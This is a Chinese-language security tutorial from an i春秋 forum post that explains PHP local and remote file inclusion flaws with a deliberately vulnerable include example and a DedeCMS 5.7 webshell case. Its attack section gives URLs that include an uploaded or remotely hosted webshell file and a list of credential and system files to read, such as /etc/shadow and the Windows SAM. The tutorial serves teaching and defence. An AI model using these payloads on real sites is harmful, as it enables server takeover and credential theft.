來源:http://bbs.ichunqiu.com/thread-9817-1-1.html?from=ch
社區:i春秋
時間:2016年8月9日22:42:00
作者:LoneliNess
前言
俗話說:“知己知彼,方能百戰不殆”,今天,小編就帶著你們走進文件包含的世界,去進一步的了解它,深入它……………….如有錯誤,請你雅正!!
目錄
第一節初識文件包含漏洞
·? ?? ?1.1、 什么是包含
·? ?? ?1.2、 文件包含漏洞是怎樣產生的
·? ?? ?1.3、 文件包含漏洞的分類
第二節??詳解PHP文件包含漏洞
·? ?? ? 1.4、解析PHP文件包含
·? ?? ? 1.5、文件包含實例及漏洞分析
·? ?? ? 1.6、常見的幾種攻擊手法
·? ?? ? 1.7、修復方案
第三節 嚴正聲明
正文
第一節初識文件包含漏洞
1.1、 什么是包含
程序猿常常把可以重復利用的函數寫到單文件中,在使用一些函數時,直接調用,無須再次編寫,這種過程呢,就稱為包含
1.2、? ?文件包含漏洞是怎樣產生的
程序猿為了讓代碼更靈活,會設置一些變量,用來動態調用,由于這種靈活,使客戶端闊以調用一個惡意的文件,從而造成文件包含漏洞
1.3、? ?文件包含漏洞的分類
文件包含漏分為本地文件包含(Local File Inclusion)程文件包含(Remote FileInclusion)
第二節??文件包含漏洞實例及常見的幾種攻擊手法
1.4、? ?解析文件包含
PHP文件包含漏洞涉及到的危險函數:
include(),require()和include_once(),require_once()
以上這些函數都闊以進行文件包含,但作用不同,區別如下:
Include:包含并運行指定文件,當包含外部文件發生錯誤時,系統給出警告,但整個php文件繼續執行。
Require:找不到包含文件產生致命錯誤,并停止腳本
Include_once:這個函數跟include函數作用幾乎相同,只是他在導入函數之前先檢測下該文件是否被導入。如果已經執行一遍那么就不重復執行了。
Require_once:這個函數跟require的區別 跟上面我所講的include和include_once是一樣的。所以我就不重復了。
1.5、? ?文件包含實例及漏洞分析
1)文件包含實例
本次測試,服務器環境為:
PHP??5.3.29
Mysql??5.0.8
Apache 2.4.18
1 本地文件包含(LFI)
小編寫了一個test.php文件
[AppleScript]純文本查看復制代碼
1
2
3
4
5
if(isset($_GET['file'])){
$file=$_GET['file'];
include $file;}
?>
然后在寫包含了一個phpinfo.txt進入文件內容是符合PHP語法的代碼
[AppleScript]純文本查看復制代碼
1
2
3
phpinfo();
?>
之后的效果如圖所示
2 遠程文件包含(RFI)
小編在這里須強調的是遠程文件包含,必須要確定PHP開啟了遠程包含功能選項,開啟此功能須在PHP.ini配置文件中修改,成功后重啟服務器生效
即allow_url_include=on
實例如下:
www.xxxcom目錄下存在1.txt,代碼如下(PS:沒有絲毫罵蛋總的意思):
[AppleScript]純文本查看復制代碼
1
2
3
echo"yyyxy is a bad man"
?>
在test.php中代碼如下:
[AppleScript]純文本查看復制代碼
1
2
3
4
5
if(isset($_GET['file'])){
$file=$_GET['file'];
include $file;}
?>
訪問url:http://www.xxxcom/test.php?file=http://localhost/1.txt
2)漏洞實例分析
就拿Dedecms5.7 來講解吧(PS:想聽更好的講解可以去i春秋官網學習)
i春秋文件包含課程講解地址:http://www.ichunqiu.com/course/51575
廣告打得有點生硬,第一次,不好意思……..
這個漏洞主要由兩個原因引起的,其中最重要的一個原因,便是開發者沒有認識到Apache服務器解析文件的流程,從而導致安
裝文件在安裝后居然可以被繼? ? 續訪問。這里接單解釋下Apache解析文件的流程:
當Apache檢測到一個文件有多個擴展名時,如1.php.bak,會從右向左判斷,直到有一個Apache認識的擴展名。如果所有的擴展名Apache都不認識,那? ? 么變會按照httpd.conf配置中所指定的方式展示這個問題,一般默認情況下是“text/plain”這種方式。
那么這樣的話,像1.php.bak這樣的文件名就會被當做php文件所解析。這也就是傳說中的Apache解析漏洞。
問題出在這里install/index.php.bak
[AppleScript]純文本查看復制代碼
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16[php]
else if($step==11)
{
require_once(‘../data/admin/config_update.php’);
$rmurl=$updateHost.”dedecms/demodata.{$s_lang}.txt”;
echo $rmurl;
$sql_content=file_get_contents($rmurl);
$fp=fopen($install_demo_name,’w’);
if(fwrite($fp,$sql_content))
echo ‘? [√] 存在(您可以選擇安裝進行體驗)’;
else
echo ‘? [×] 遠程獲取失敗’;
unset($sql_content);
fclose($fp);
exit();
[/php]
了解Dedecms參數機制的同學都知道,代碼中的一些變量我們是可以通過GET參數的方式進行操控的。那么上面代碼很明顯,可以向指定的文件內寫入任意內容,從而導致獲取webshell
如果想聽更詳細的講解請到http://www.ichunqiu.com/course/51575
1.6、? ?常見的幾種攻擊手法
1)? ?? ? 本地包含配合上傳拿shell
大多數網站都會有上傳功能,上傳個圖片,假設已上傳圖片一句話木馬,路徑為xxx/1.jpg,訪問http://www.xxx.com/index.php?file=./xxx/1.jpg
2)? ?? ? 遠程包含拿shell
這種應該非常少見了吧,目標主機必須保證allow_url_include=on情況,在http://***.com/根目錄下有一個一句話木馬的txt,訪問http://www.xxx.com/index.php?file=http://***.com/muma.txt
3)讀取敏感信息
訪問url:http://www.xxx.com/index.php?file=/etc/my.conf
如果存在本文件,他會讀出文件的內容……..反之
常見的敏感信息路徑
Windows系統
c:\boot.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?// 查看系統版本
c:\windows\system32\inetsrv\MetaBase.xml? ?? ?? ?? ?? ?//??IIS配置文件
c:\windows\repair\sam? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??存儲Windows系統初次安裝的密碼
c:\ProgramFiles\mysql\my,ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD? ?? ?? ?? ? //??MySQL root
c:\windows\php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?php 配置信息
c:\windows\my.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?MySQL 配置文件
......
Linux/Unix系統
/etc/passwd? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶信息
/etc/shadow? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?//??賬戶密碼文件
/usr/local/app/apache2/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ???//? ?Apache2默認配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf? ?? ???//? ?虛擬網站配置
/usr/local/app/php5/lib/php.ini? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //??PHP相關配置
/etc/httpd/conf/httpd.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ? //? ?Apache配置文件
/etc/my.conf? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ???//? ?mysql 配置文件
1.7、??修復方案
限制路徑,禁止跳轉字符,如:../
把需要包含的頁面固定寫好,如:include(“test.php”)
第三節 嚴正聲明
本文討論的技術僅用于研究學習技術交流,嚴禁用于非法行為和破壞行為,否則造成的一切法律責任與作者以及本網站無關。
本文原創作者:LoneliNess,轉載須注明來自i春秋社區(BBS.ichunqiu.com)
結束語:
I春秋,你值得擁有!!不忘初心,方得始終!!!